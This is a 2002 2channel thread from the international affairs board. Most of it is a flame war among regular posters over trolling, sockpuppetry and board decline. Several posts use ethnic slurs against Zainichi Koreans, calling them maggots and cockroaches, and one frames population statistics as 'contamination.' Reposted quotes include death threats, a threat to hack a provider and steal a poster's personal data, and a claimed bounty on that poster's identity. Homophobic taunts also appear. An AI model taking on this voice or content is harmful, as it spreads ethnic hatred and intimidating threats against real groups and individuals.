96 :名無しさん@お腹いっぱい。:02/03/31 02:26 ID:???
23 名前: DRX 投稿日: 01/08/29 12:27 ID:eZx6yeWw
いかなる体制下でも貴族は発生するなりよ。
二世議員達みて気付かないかにゃ?
市場経済からは川原乞食と予想屋と高利貸しが貴族化し
全体主義なら人事官僚が貴族化する運命なりよ。
拙者が武士道を説くのは武士道なる倫理が
「支配者とは如何に在るべきか」をまともに
考察しているからなりよ。プチャーチンが長崎に
来訪した際、日記に「夕食の量が少なすぎる」
と愚痴を書いているのが象徴的なりよ。プチャーチン
は他国のアジア人達に対して差別丸出しでけなしまくる
日記を残しているがその中で日本人ばかりは絶賛している。
唯一といって良い不満が「小食」と言うあたり、農奴を搾取
して毎夜大食していたロシア貴族との差異が際立つなりよ。



97 : ◆yzlSeA0w :02/03/31 02:28 ID:NHx/fNi6
>>95
こちらへどうぞ。
粘着情勢@2ch掲示板
http://jbbs.shitaraba.com/news/192/

98 : ◆yzlSeA0w :02/03/31 02:29 ID:???
>>96
うわ、DRXもなりなり言ってたなりね、仲間仲間なりよ〜

99 :名無しさん@お腹いっぱい。:02/03/31 02:49 ID:???
ひでーなこりゃ。
DRXがそんな厨房丸出しの荒らしをするかよ。
下手な騙りは四ヶ月の仕業か?

100 :国際情勢板電波研究所:02/03/31 03:08 ID:???
DRXの事を嫌われ者などと言いふらすのは、枢機郷特有の習性。
おそらく「自分以上の嫌われ者」という存在を無意識に渇望して言ってるのだろう。
>>90の文章の癖も枢機郷に酷似。
つまり、>>90>>93は何故か名乗らないが、枢機郷による誹謗中傷と思われ。
>>91>>92は言うまでもなく唐突すぎるので、四ヶ月による自作自演確定。
おそらくage荒らしの真犯人なのであろう。
二人とも、DRX恐怖症の病状が悪化したようだな。
お大事に。


101 :名無しさん@お腹いっぱい。:02/03/31 03:12 ID:???
DRXが枢機卿に釣られているのも、知らずに他板で負け犬の遠吠えか (W 

102 :名無しさん@お腹いっぱい。:02/03/31 03:16 ID:???
>>99
DRXに惚れてるホモ(藁・(ワラ・(w


103 :名無しさん@お腹いっぱい。:02/03/31 03:16 ID:???
>>101
焦りが句読点に現れてるね>四ヶ月(ププ
日本語はまだ不慣れかい?


104 :名無しさん@お腹いっぱい。:02/03/31 03:17 ID:???
>100
そういや前に、DRXは己の正義の為なら民間人撒きこんでもイイって言っていた奴だな。

俺の認識では、DRXは自演自作が専門じゃなかったのか>100





105 :名無しさん@お腹いっぱい。:02/03/31 03:19 ID:???
また厨房同士であらされるのか、ここは。

106 :名無しさん@お腹いっぱい。:02/03/31 03:19 ID:???
>>99
>>100
アンタたちすげーな、ドンピシャじゃん!
>>103で枢ちゃんハケーン
やっぱりコイツ等の中傷だったのか・・・・
つくづく哀れな連中だな・・・

107 :名無しさん@お腹いっぱい。:02/03/31 03:22 ID:???

""国際情勢板電波研究所""が犯人じゃないの

108 :名無しさん@お腹いっぱい。:02/03/31 03:28 ID:???
>>106
笑ってしまったよ、在日のボケ (ww

109 :名無しさん@お腹いっぱい。:02/03/31 03:31 ID:???
>>104
まだ日本語がおかしいぞ(w
結論を先に言えば、DRXが自作自演専門である形跡はない。
DRXは自作自演に違法性が無いと言っているだけ、という方が事実に即している。
DRXにカモられた連中が必死で自作自演認定を繰り返しているが、DRXがそれを気にしている様子など無い。
DRXドクトリン(彼はこの名称に不満があるようだが)できわめて論理的に批判を無力化しているからな。
枢機郷や四ヶ月には、あれがただの屁理屈にしか見えないのかも知れないが、
そのあたりがDRXに敵わない力量差なんだよ。

110 :名無しさん@お腹いっぱい。:02/03/31 03:33 ID:???
>>106
枢機卿が上げ荒らしの犯人だと思うけど
またコピペ荒らしが始まるのか鬱、鬱、鬱

111 :名無しさん@お腹いっぱい。:02/03/31 03:35 ID:???
>>109
わかったわかった、DRXに惚れてるホモ (藁

112 :名無しさん@お腹いっぱい。:02/03/31 03:39 ID:???
>>111
どうでもいいが、1つだけ忠告しておく。
自作自演などは、誰にも何の害にもならないが、
コピペ荒らしは刑法に触れる事を忘れるなよ。
現時点では、皆に嫌われてるのは君の方だぞ。

113 :名無しさん@お腹いっぱい。:02/03/31 03:44 ID:???
>>112
意味不明
なにが言いたいのよ、在日のバカ

114 :名無しさん@お腹いっぱい。:02/03/31 03:44 ID:???
>109はDRXにゾッコンだな。
まるで自画自賛DRXみたいだ。



115 :名無しさん@お腹いっぱい。:02/03/31 03:45 ID:???
>>112
急に弱気になった?

116 : ◆yzlSeA0w :02/03/31 03:45 ID:???
>>110
文体を故意に変えているのでなければ枢機郷ではない。
皆さんは気付いてなかったかも知れないが、1月からずーっと深夜の上げ荒らしは存在した。
別の厨房。
枢の別人格かも知れないが、時間帯によって文体を変える意味がない。
早朝にいくら煽っても枢は登場しなかったし、
嫌韓厨にとっては無意味な枢叩きには反応しなかった。
今は枢も名無しでカキコしてるけど、さほど害のあることはしてない。

ちなみに>>55-56は私。
DRXの力量を試してみた。
それ以外のDRXへの粘着は誰の仕業かは知らないし、興味もない。

いい加減意味のない話にはうんざり。
自作自演でも何でもいいや、ウザいだけ。

117 :名無しさん@お腹いっぱい。:02/03/31 03:48 ID:???
>>109
109のおかげで自作自演疑惑をかけられるDRX

DRXに相手にもされない悲しいオカマ

ずっと吊られつづけてたのはお前なんだよ(釣り人、枢・Dその他)

118 :名無しさん@お腹いっぱい。:02/03/31 03:51 ID:???
>>114
居れも臭う。

119 :国際情勢板電波研究所:02/03/31 03:52 ID:???
>>116
それはお見逸れしました。
漏れもまだまだ修行が足りないな。
まあ、反論できない事を誹謗中傷でカムフラージュする連中は実在するようだがね。
つくづく哀れなり・・・

120 :名無しさん@お腹いっぱい。:02/03/31 03:54 ID:???
結局、自自なのか惚れてるホモなのかどっちかなのか

121 :名無しさん@お腹いっぱい。:02/03/31 03:56 ID:???
まあ、論証も出来ない妄想にふけって過したい連中は、
カタギに迷惑をかけない様にやってろってこった。
枢と四ヶ月はアフォすぎ。

122 :名無しさん@お腹いっぱい。:02/03/31 04:01 ID:???
>>120
その強引な誘導は四ヶ月クサイがな(藁


123 :名無しさん@お腹いっぱい。:02/03/31 04:04 ID:Bn3KJkTA


                              もう、どうなってもいいや・・・
               -― ̄ ̄ ` ―--  _
          , ´  ......... . .   ,    ~  ̄" ー _
        _/...........::::::::::::::::: : : :/ ,r:::::::::::.:::::::::.:: :::.........` 、
       , ´ : ::::::::::::::::::::::::::::::::::::/ /:::::::::::::: : ,ヘ ::::::::::::::::::::::: : ヽ
    ,/:::;;;;;;;| : ::::::::::::::::::::::::::::::/ /::::::::::::::::::: ● ::::::::::::::::: : : :,/
   と,-‐ ´ ̄: ::::::::::::::::::::::::::::::/ /:::::::::::r(:::::::::`'::::::::::::::::::::::く
  (´__  : : :;;:::::::::::::::::::::::::::/ /:::::::::::`(::::::::: ,ヘ:::::::::::::::::::::: ヽ
       ̄ ̄`ヾ_::::::::::::::::::::::し ::::::::::::::::::::::: : ●::::::::::::::::::::::: : : :_>
          ,_  \:::::::::::::::::::::::::::::::::::::::::::::: `' __:::::::::-‐ ´
        (__  ̄~" __ , --‐一~ ̄ ̄ ̄         




124 :名無しさん@お腹いっぱい。:02/03/31 04:05 ID:???
>>119
常連の様だが、異常なまでのDRX賛美は正直キモイぞ。

125 : ◆yzlSeA0w :02/03/31 04:08 ID:???
DRX=四ヶ月、なんて妄想は持ってないんでご安心を。>DRX

126 :名無しさん@お腹いっぱい。:02/03/31 04:10 ID:???

   _δ_
  / ⊥ \
  |____|    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  ‖∧ ∧¶  / おう、2ちゃんねるの各板の人気投票をするぞ!
   ( ゚Д゚)/ <  投票ルール、組み合わせについては下のサイト
   /  /    \ にdでくれ。間違い・改善点があったら指摘よろ。
  〈  (      \
  ∫ヽ__)        ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    U U
  | ̄ ̄ ̄ ̄|
  \__人__/


トーナメント表
http://niigata.cool.ne.jp/nonti0525/2ch.htm
本部
http://ton.2ch.net/test/read.cgi/gline/1017425761


127 :名無しさん@お腹いっぱい。:02/03/31 04:12 ID:???
>>124
だからさ、DRXをヨイショすると恐怖症患者どもが良く釣れてオモロイのよ。
必死でホモホモ鳴き出したりするし。
まあ、何をそこまで必死になってるんだか知らんが。
話は変わるが、◆yzlSeA0w的にはDRXの力量をどう読んでるの?
ちょと聞いてみたいなり。

128 :名無しさん@お腹いっぱい。:02/03/31 04:23 ID:QfzVKjGm
おやおやDRXが復活したのかよ。
とは言っても俺はkouei35とDRXの対決しか知らんが。
またこの両極端のバトルがあったら教えてくれ。

PS
イスラエルがらみで、もっと盛り上がっていると思ったのが。
どうでもいいけど国情も地に落ちたな。

129 : ◆yzlSeA0w :02/03/31 04:24 ID:???
>>127
評価が難しいっすねえ。。
不本意かも知れないが、どこまでがDRXのカキコなのかが分からない...
DRX名義のカキコだけに限って言えば、破壊力は絶大。
コピペ荒らしするくらいしか反撃法はないと思う。
ただし攻撃対象がピンポイント&相当ひねってるので、他者が便乗しにくい。
なーんとなくDRXに便乗するのを躊躇してしまう雰囲気がある。
枢機郷に便乗しようと思えば誰でも便乗できるのとは対称的。



130 :名無しさん@お腹いっぱい。:02/03/31 04:29 ID:???
>>128
反論出来ない時に罵倒を始める習性の奴がのさばると、板は必ず荒廃する。
どれだけ知識や情報が豊富な奴だとしても、そんな厨房の生息を認めた時点で、
国情板の退化は不可避となったんだよ。


131 : ◆yzlSeA0w :02/03/31 04:35 ID:???
私も含めて、罵倒風味の反論をする人が結構多いのも原因かもね。反省
かといって、fjみたいに敬語でねちねち遠回しの嫌味を書くのもいかがなものかとは思うが。
罵倒の応酬にならないように議論するテクニックって難しいですね。
議論の双方がそのテクニックを持っていないと成立しないし。

132 :名無しさん@お腹いっぱい。:02/03/31 04:43 ID:???
DRX vs どうでもいいけど
の対決の時なんかは、マターリとした雰囲気の水面下で熱いバトルが繰り広げられてる感じだけどね。
国際情勢を論じようって人間が、そのくらいの芸を披露できなくてどーするよ、と言う気はする。

133 : ◆yzlSeA0w :02/03/31 04:48 ID:???
>>132
>DRX vs どうでもいいけど
って、このお二人ってもともと知り合いなの?
なんとなくそんな雰囲気が言葉の端々に。

134 :名無しさん@お腹いっぱい。:02/03/31 04:53 ID:???
>>132
どうでもいいけどは、DRX関連の話題になると良く出現する事しか知らない。
ガイシュツだが「どうでも=DRX」説の根拠かもね。

135 :名無しさん@お腹いっぱい。:02/03/31 10:01 ID:???
板違いかもしれないが新聞で中国の政治家の名前を
読み方を併記しないで漢字のみで書かれるのは非常に困る。
「漢字をそのまま音読みしろ」って言ってんのかもしれないけど
それでも読めねえ。何とかしてくれ読売新聞。



136 :名無しさん@お腹いっぱい。:02/03/31 13:37 ID:???
上げ荒らしは◆yzlSeA0wだろ、半島関連以外を上げている。
在日の ◆yzlSeA0wが犯人に決定 !!!

137 :名無しさん@お腹いっぱい。:02/03/31 14:04 ID:???
◆毎年帰化する韓国人が1万人もいるというのに、在日の数が
ほとんど減っていない。

        1998年   1999年  2000年
在日韓国人  638,828   636,548  635,269 人

これでは韓国人の日本人汚染がいつまでも続く事になる。

一方で、不法滞在韓国人は56000人もいる!

138 :名無しさん@お腹いっぱい。:02/03/31 14:16 ID:zGj/5ro8
どこの粘着バカ恨みを買ってしまったのかは知らんが、
「四ヶ月」◆yzlSeA0w向けバージョンも確実に存在するようだな。
唐突に主張する事に根拠が乏しすぎる。


139 :名無しさん@お腹いっぱい:02/03/31 14:52 ID:???
>>128
イスラエルがらみだと、イスラエル支持の名無し三等兵と
パレスチナ支持のその他が激論をかわしてる(途中から罵りあいになったけど)
けどそれぐらいかな?
まぁ、どちらもkoueiやDRXよりレベルは格段に劣るが・・・・・

140 :名無しさん@お腹いっぱい。:02/03/31 15:27 ID:i1p5ERcH
>>139
>koueiやDRX?
言うまでもない事だが、koueiとDRXじゃ両者のレベルには天地の差があるぞ。(藁
最近三等兵を必死で中傷してるドキュソも目に付くが、お前だろ?
「四ヶ月」三等兵バージョンってところだな。

141 :名無しさん@お腹いっぱい。:02/03/31 15:37 ID:???
なんだか、今現在age荒らしが酷くなってる。
この間から、この雑談スレでのレスが伸びる時間帯と連動してるようでもある。
・・・と、こういう指摘をすると、枢や「四ヶ月」みたいに必死で矛先を逸らそうとする反論が付いたりするし・・・

142 :糞に私物化された国情板だろ:02/03/31 15:49 ID:UKY0WvdD
一時の荒氏だった枢は枢なりの持論を展開しているよ。赤軍も最近は大人しいから良いとして、
要は、居座りついた糞コテハンが国際情勢を語らず、くだらん私情を書きこんで
厨を呼び寄せたのが原因だろ。
スレッドを見てみろよ。もっと語るべき国のネタがあっても良いはずだ。
EUは、アフリカは今どうなっている?みんな興味ないのかよ。
糞スレ立てる、国情無視電波コテハンは逝って良し。

143 :名無しさん@お腹いっぱい。:02/03/31 15:57 ID:???
>国際情勢を語らず、くだらん私情を書きこんで
>厨を呼び寄せたのが原因だろ。

こんなの、枢機郷だけしか思い当たりませんが?
コテハンでないなら、一番該当するのは四ヶ月だし。
っていうか、何をムキになってるんだ?
>>141が図星だから?


144 :名無しさん@お腹いっぱい。:02/03/31 16:08 ID:???
>>142は糞名無しの四ヶ月なんだろ。
こいつ私情丸出しですぐにムキになるからバレバレじゃん。(藁・(ワラ・(w


145 :名無し三等兵:02/03/31 16:11 ID:???
(;´ー`)y-~~突然ですが一つ提案
       今回は誰がやってるのかよくわかんないのですが
       スレ底ageに対抗して、枢機卿暴走時みんなで
       自治スレや枢機卿スレをage続けたみたいに
       このスレを臨時に対策スレにして
       age続けて対抗してみませんか?

       まぁ、更に底ageが続くようならの話ですが・・・・・
       一応の提案として

146 :名無しさん@お腹いっぱい。:02/03/31 16:14 ID:UZMCkBql
>>145
対四ヶ月連合っすね。
賛成。
低脳な煽りが通用しない事を皆で教えてやりましょう。

147 :名無しさん@お腹いっぱい。:02/03/31 16:15 ID:???
>>144
私情というか、国情板を憂うだけ。
どうでもいいよ、住人じゃないから。

俺が四ヶ月だって?
昔はアフリカ・ユーロ関連で良く書きこんだ者だよ。
>114の方が変にムキになっていると思うが、まあ好きにしな。

148 :名無しさん@お腹いっぱい。:02/03/31 16:19 ID:UKY0WvdD
>>146
対四ヶ月連合ねぇ。(藁)
その前に、自分たちの胸に手を当てて考える事の方が先じゃないの。
さっきからグッチってばかりだから消えるよ。じゃあな

149 :名無しさん@お腹いっぱい。:02/03/31 16:19 ID:???
>>147
いやいや、君も随分私情丸出しだよ。
国情板を憂うなら、あんなカキコをすべきじゃないな。
あれじゃ、四ヶ月認定されても仕方ないよ。

150 :名無しさん@お腹いっぱい。:02/03/31 16:20 ID:???
>>148
君はもう来なくても良いからね。
お疲れ。

151 :名無しさん@お腹いっぱい。:02/03/31 16:23 ID:???
ほー、閉鎖的な>150がこの板の癌なのか。


152 :名無しさん@お腹いっぱい。:02/03/31 16:26 ID:???
確かに四ヶ月認定をする奴は、チョン呼ばわりする枢機と変わらんな。

153 :名無しさん@お腹いっぱい。:02/03/31 16:28 ID:???
>151
戻って来たの?
僕が閉鎖的なのかどうかは分からないけど、
中傷するだけの厨房には誰も用がないってだけ。
仲間に入りたいならマターリしなよ。
自分が太刀打ち出来なかった相手の事を「糞コテハン」なんて言ってるようでは、ダメダメです。

154 :名無しさん@お腹いっぱい。:02/03/31 16:34 ID:???
実力派コテハン達を誹謗中傷して回る「糞名無し」を四ヶ月認定してるんでしょ?
DRXと、◆yzlSeA0wと、名無し三等兵を付け狙ってる「四ヶ月」は間違いなく実在するようだよ。

155 :名無しさん@お腹いっぱい。:02/03/31 16:59 ID:???
スレを立てるまでもない質問ってスレが無かったのでここで質問します
徴兵制と平和主義者の問題なんですけど
兵役の代わりに地雷処理の仕事をしてもらったらどうでしょう?
人を殺さないしその国を平和な世界に近づけることにもなるし
兵士同様リスクのある作業です
安全な牢屋の中で三食昼寝付きにするよりよっぽど平等だと思うのです


156 :名無しさん@お腹いっぱい。:02/03/31 17:07 ID:???
>>155
あるよ。もっと下を探してみたら?
質問への返事としては、まあ名案かもね。

157 :名無しさん@お腹いっぱい。:02/03/31 18:52 ID:???
>自分が太刀打ち出来なかった
ヤケにそれにこだわるね。そんなに嬉しいのかな?
まあ、国情板にて太刀打ちとかで勝って喜ぶこと自体どんなものかと思うが。
仲間意識も良し悪しだな。この衰退ぶりみれば

158 :名無しさん@お腹いっぱい。:02/03/31 19:06 ID:m4yMrarT
>>157
こだわりというか・・・
いきなり「糞コテハン」なんて言い出す方が奇妙だからね。
批判したいなら相手の論点を突けば良いのに、見苦しい人格攻撃に終始してる方が悪い。

159 :名無しさん@お腹いっぱい。:02/03/31 19:16 ID:???
おーい、皆の衆!
国情板が衰退した本当の原因にも気づいてないドキュソが
>>157に居たぞー!!

160 :名無しさん@お腹いっぱい。:02/03/31 20:05 ID:???
またage荒らしだよ・・・
マジでここのレスと連動してるのか?
粘着厨房が撃退される度に始まってるような気が・・・

161 :kouei35@非戦主義 ◆n8aPRTS. :02/03/31 21:15 ID:???
まぁ一服しようや。
( ゚Д゚)y─~~ ウマー


162 :あぼーん:あぼーん
あぼーん

163 :枢機郷 ◆wiSZ9y22 :02/03/31 21:37 ID:x97Y1WiA
おいおい、在日朝鮮人のうじ虫ども。

スレ上げ荒らしまで枢機郷のせいにしちゃ、だめよーーん。(藁・(ワラ・(w

164 :枢機郷 ◆wiSZ9y22 :02/03/31 21:41 ID:RdvPggxk

興味のあるスレが下がってしまって、暇だから「釣り人観察日誌」を披露してやろう。
■ 薄汚い自作自演のどチンピラのDRXのうすらバカぶりの証明編 ■

131 :名無しさん@お腹いっぱい。 :02/03/24 03:40 ID:???
次に枢機郷が卑怯な真似をしたら、俺がプロバイダ侵入して個人情報抜いてやるつもりだが、
あの「自治スレ」は昔中断された残骸を片づけてるだけだよ。

132 :名無しさん@お腹いっぱい。 :02/03/24 12:54 ID:???
>>131
知り合いの在日が言ってたけど、
総○が枢機の個人情報に30万の懸賞金を出すってYO!
いい小遣い稼ぎになるね。(藁
==========================================================
  ■ DRXがいかに低脳か証明してやるよ。■

95 :名無しさん@お腹いっぱい。 :02/03/31 02:25 ID:???
DRXは今何してる?

399 名前:DRX :02/03/25 01:46 ID:sgWId6sY
今日の枢機郷は、見え透いたブラフに怖じ気づいたようだな。
絶妙なリアリティの金額設定がキモか。

ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。
ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。
ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。

165 :枢機郷 ◆wiSZ9y22 :02/03/31 21:41 ID:RdvPggxk
190 :茶々◎ ◆2MBib6B2 :02/01/07 00:22 ID:???
拉致がどうのこうの言う前に・・・・
枢機、テメエ、横田めぐみをさんざん利用して・・罵倒の自作自演・・
人間のクズだな、おめえは。

凶悪犯罪?・・酒鬼薔薇は日本人だろ。呆け!

枢機郷 と鉄腕アトム 。お前等2人、意気がってんのも今のうちだ。
お前等拉致した30分後に海に沈めてやる。


中  略

200 :枢機郷 ◆wiSZ9y22 :02/01/07 02:15 ID:ID3G3Cqd
>>190
在日朝鮮人のうじ虫「こじき朝鮮総連のどチンピラ」いきがんじゃないよ。
女子供しか拉致出来ない「赤い負け犬の、在日朝鮮人のうじ虫ども」
てめえみたいな「2ちゃんでしかいきがれない、どチンピラ在日朝鮮人」

こじき朝鮮総連が怖くて2ちゃんやってられるかよーー、うすらバカのチキンが。
「ゆすり、たかり、かっぱらい」しか出来ない、朝鮮ゴキブリのぶんざいで。 (藁・(ワラ・(w
こじき朝鮮総連の便所掃除でもしてろどチンピラのくず。

166 :枢機郷 ◆wiSZ9y22 :02/03/31 21:43 ID:RdvPggxk
689 : ◆yzlSeA0w :02/01/27 01:41 ID:vLX3DD2B
>>686
うるさい黙れキティウヨ。
総連の全力を挙げてでも貴様を殺す。
殺っちゃえ、殺っちゃっていいよ枢機卿を。もう解禁。

オマエを殺す。間違いなく殺す。
朝鮮民族の誇りをかけて、オマエを轢殺する。

死ね!


■ DRXのうすらバカ加減に枢機郷は笑いが止まらん ■
ヘタレ朝鮮総連がこわくって、2ちゃんやってられるか「薄汚い自作自演のどチンピラのDRX」

ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。
ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。
ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。

167 :あぼーん:あぼーん
あぼーん

168 :名無しさん@お腹いっぱい。:02/03/31 22:20 ID:???
枢機卿のキチガイが復活かよ 鬱

169 :枢機郷 ◆wiSZ9y22 :02/03/31 22:26 ID:RdvPggxk
名無しの三等兵とかの「どチンピラ」、どうしたーーん。

過去スレで「アフガン戦争」の時、自衛隊機がパキスタンの空港でタリバンのミサイルで撃墜されるとか、
ノー天気の電波発信していた低脳どチンピラ。 (藁・(ワラ・(w


170 :名無し三等兵:02/03/31 22:31 ID:???
>>枢機卿
(;´ー`)y-~~確かDRXにも同じ説明したと思うが
       9.11テロ時は漏れ以外にも軍板のHNのまま
       ここでカキコしてた奴はいたよ
       ま、貴様にマジレスするのもナンだがな(w

       


       と、煽りに乗ってみる

171 :あぼーん:あぼーん
あぼーん

172 :名無しさん@お腹いっぱい:02/03/31 23:10 ID:PdcGDfaT
スレ底age対抗にage

173 :名無しさん@お腹いっぱい。:02/04/01 00:08 ID:thPXN9Jp
>>All
都合の悪い過去を忘れる技術に長けているが故に、電波は電波なのです。
相手するだけキチガイが伝染りますよ。
暖かくなると彼らの活動が活発になるのは毎年の事です。
放置が吉

174 :名無しさん@お腹いっぱい。:02/04/01 00:26 ID:???
こりゃまた酷い発作だな。
どうにも、枢機郷が何を言ってるのかがさっぱり分からん。
DRXに一杯食わされた事を自慢でもしてるという事なのか?
それにしては「ブラフ」ってのがDRXの仕業だと決め付ける理由が不明なんだが・・・
まあ、そういう指摘に耳を貸せる理性が残ってるならこんな電波は出さないだろうけどな(藁




175 :あぼーん:あぼーん
あぼーん

176 :あぼーん:あぼーん
あぼーん

177 :名無しさん@お腹いっぱい。:02/04/01 00:33 ID:???
かなーり退化しつつあるな・・・
もはや、ヒネリも何も無い荒らしに堕したのか・・・
哀れな禿げもいるもんだ・・・


178 :名無しさん@お腹いっぱい。:02/04/01 00:36 ID:???
>>177
DRXハケーン
と書いてみるテスト

179 :あぼーん:あぼーん
あぼーん

180 :名無しさん@お腹いっぱい。:02/04/01 00:39 ID:???
今度は四ヶ月も出てきたのか?
どいつもこいつも禿げた事しか言えねえ禿げ揃いでご苦労なこったな。

181 :名無しさん@お腹いっぱい。:02/04/01 00:45 ID:???
最近ののみが来ないな。

182 :あぼーん:あぼーん
あぼーん

183 :日本語訳:02/04/01 00:50 ID:vUX7HGdg
>>174
私が枢機郷の言語を解読してみました。

>131 :名無しさん@お腹いっぱい。 :02/03/24 03:40 ID:???
>次に枢機郷が卑怯な真似をしたら、俺がプロバイダ侵入して個人情報抜いてやるつもりだが、
>あの「自治スレ」は昔中断された残骸を片づけてるだけだよ。

>132 :名無しさん@お腹いっぱい。 :02/03/24 12:54 ID:???
>>131
>知り合いの在日が言ってたけど、
>総○が枢機の個人情報に30万の懸賞金を出すってYO!
>いい小遣い稼ぎになるね。(藁

つまり枢機郷は↑の脅しがDRXによるものだと思い込んでる訳ですな。
断定の根拠は無いようですが、それはいつもの事でしょう。
ちなみに上にある>>132は私が書いた物です。
枢機郷があれをDRXのブラフだと思ってるなら別に構いませんが、どうでも良いですよ。
困るのは私じゃないのでね。(藁


184 :あぼーん:あぼーん
あぼーん

185 :名無しさん@お腹いっぱい。:02/04/01 01:06 ID:LYQXVWqx
>>184
枢機郷が何言ってるのかサパーリ分かりませんが?
日本語訳は無理ですな、これじゃあ。

186 :あぼーん:あぼーん
あぼーん

187 :名無しさん@お腹いっぱい。:02/04/01 01:09 ID:T//eG51G
いくら必死に足掻いても、やはり


DRX>枢機郷


だという事なんだな(プププ

188 :枢機郷 ◆wiSZ9y22 :02/04/01 01:20 ID:4pJQTdlT
>>187
負け惜しみかい「雑魚ちゃん」
今夜は「朝鮮の雑魚ばっかり」(藁・(ワラ・(w

           ◆  質   問   状  ◆   

お前はいつも枢機郷と薄汚い自作自演のどチンピラのDRXと、何か過去にあった風にカキコしているが ??
「薄汚い自作自演のどチンピラのDRXと枢機郷の」攻撃諍いカキコが、あるならコピペしなよ。

◇ 枢機郷が汚い自作自演のどチンピラのDRXに、やり込められたとかのコピペしなよ ◇

   ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。

 「ある訳無いよな、48歳の低脳じじいの茶々丸が、一番知っているはず !!」

◇ もう一度言う、48歳の低脳じじいの茶々丸よ、証拠のコピペ出してみなよ !!! 
◇ くやしかったら「証拠のカキコを堂々とコピペ」しなよ。               

ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。
ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。
ワッハッハッハー、ワッハッハッハー、ワッハッハッハー、ワッハッハッハー。

189 :そんなあなた方に送る:02/04/01 01:22 ID:i2PDessH
まんんこ

190 :名無しさん@お腹いっぱい。:02/04/01 01:26 ID:???
朝鮮の雑魚?
それが枢機郷の正体?

191 : ◆yzlSeA0w :02/04/01 01:29 ID:wer0N2Lf
>>166
>689 : ◆yzlSeA0w :02/01/27 01:41 ID:vLX3DD2B
>>686
>うるさい黙れキティウヨ。
>総連の全力を挙げてでも貴様を殺す。
>殺っちゃえ、殺っちゃっていいよ枢機卿を。もう解禁。
>オマエを殺す。間違いなく殺す。
>朝鮮民族の誇りをかけて、オマエを轢殺する。
>死ね!

>■ DRXのうすらバカ加減に枢機郷は笑いが止まらん ■

これ、私のネタなのに。。。
DRXと私はどーみても別人でしょうが。

枢機郷は北朝鮮に関する情報を大量に持ってるので、
御大としてどーんと構えてればいいのに。
私とかの釣りは、ルアーで食いつくのを待つマターリした釣りだけど
枢ちゃんのは漁船で地引き網をぐいぐい引っ張る力技だからなあ。
魚がいなくなっちゃうよ。

192 :名無しさん@お腹いっぱい。:02/04/01 01:33 ID:???
枢機郷は誰も釣り上げてねえだろが。
釣られる方専門なんだからさ。

193 :名無しさん@お腹いっぱい。:02/04/01 01:39 ID:???
またまた枢機郷の電波ですか?
相変わらず頭悪いな。

194 :名無しさん@お腹いっぱい。:02/04/01 01:43 ID:YVxXRnyc
何じゃ?いきなり訳分からんを言い出すと思ったら、
枢機郷はまたDRXに釣られてたのかよ。
懲りないやっちゃな。
そろそろ少しは学習しろって(藁

195 :あぼーん:あぼーん
あぼーん

196 : ◆yzlSeA0w :02/04/01 02:00 ID:???
>>195
そんなのに反応するから荒れるの。
反応しなさんな。


197 :名無しさん@お腹いっぱい。:02/04/01 02:00 ID:YVxXRnyc
いやいや、低脳は一人だけです。
枢機郷を除く全員が知ってます。

198 :名無しさん@お腹いっぱい。:02/04/01 02:03 ID:???
枢機郷のIQ知りたいな。
最低の数値って0で良いの?

199 :あぼーん:あぼーん
あぼーん

200 :名無しさん@お腹いっぱい。:02/04/01 02:07 ID:???
自分が釣られていた事を自慢げに公表するという、
枢機郷の感覚が良く分からん。
基地外の基地外たるゆえんだな

201 :枢機郷 ◆wiSZ9y22 :02/04/01 02:08 ID:4pJQTdlT
それではそろそろ、失礼、「雑魚ちゃん」 (藁・(ワラ・(w
                        「釣り人」より

アディオス、アミーゴ。

202 : ◆yzlSeA0w :02/04/01 02:09 ID:???
>>200
分かり切ったことをいちいち書かない。

もう古いんだってば、枢煽りは。ださ。

203 :名無しさん@お腹いっぱい。:02/04/01 02:12 ID:???
やれやれ、これからはキチガイ完全復活かよ。
枢機郷を擁護していた連中は、ちゃんと責任とって駆除しとけよ。

204 : ◆yzlSeA0w :02/04/01 02:36 ID:???
なんでこうも粘着バカが多いのか。
飽きもせずに何ヶ月も。

読んでてな〜〜〜んも面白くない。
芸もない。
枢機郷の芸の方がまだマシ。

205 : ◆yzlSeA0w :02/04/01 02:55 ID:???
今後、枢煽りをするバカは全て「四ヶ月」。
DRXの自作自演がどうのこうの言うバカは全て「四ヶ月」。
国際情勢板を無秩序状態にして一人ほくそ笑むバカ、それが「四ヶ月」。

枢機郷よ、あんたがこの「四ヶ月」をわれわれと一緒に攻撃すれば全てが終わる。
(つっても、派手にコピペをしろって意味じゃないよ。)
あんたの力で、そろそろこの無秩序状態を終わらせてくれ。


206 : ◆yzlSeA0w :02/04/01 02:59 ID:???
名無しであんたを擁護したり、あんたを煽ったりした人物、
あんたにも心当たりがあるだろう?
そいつが皆の反応を見て笑っているだけ。
いい加減気付いてくれよ。

207 :名無しさん@お腹いっぱい。:02/04/01 05:40 ID:Z6FM1Ymy
枢機郷とやら、ニュース系の板にも主張しないか
逸材中の逸材よ
こんな過疎板にいて何が楽しい?

208 :名無しさん@お腹いっぱい。:02/04/01 06:10 ID:???
>>207
お山の大将って奴?
皆から認めてもらいたいんだろうな、きっと。
ここでは単なるペットにしか思われてない様だが。

209 :名無しさん@お腹いっぱい。:02/04/01 06:31 ID:???
依存症克服には対象の分散がいいようです byあるある

210 :名無しさん@お腹いっぱい。:02/04/01 08:06 ID:???
1chに行けばいいのにねぇ
枢タンも

211 :名無しさん@お腹いっぱい。:02/04/01 12:59 ID:???
Kouei35の詐欺師
お前の「戦争」の定義は?

お前の「戦争」の定義は?

お前の「戦争」の定義は?



212 :名無しさん@お腹いっぱい。:02/04/01 21:14 ID:ajodVFVc
結局ジャミラかよ・・・

213 :苦情:02/04/01 22:51 ID:0+h1Vj00
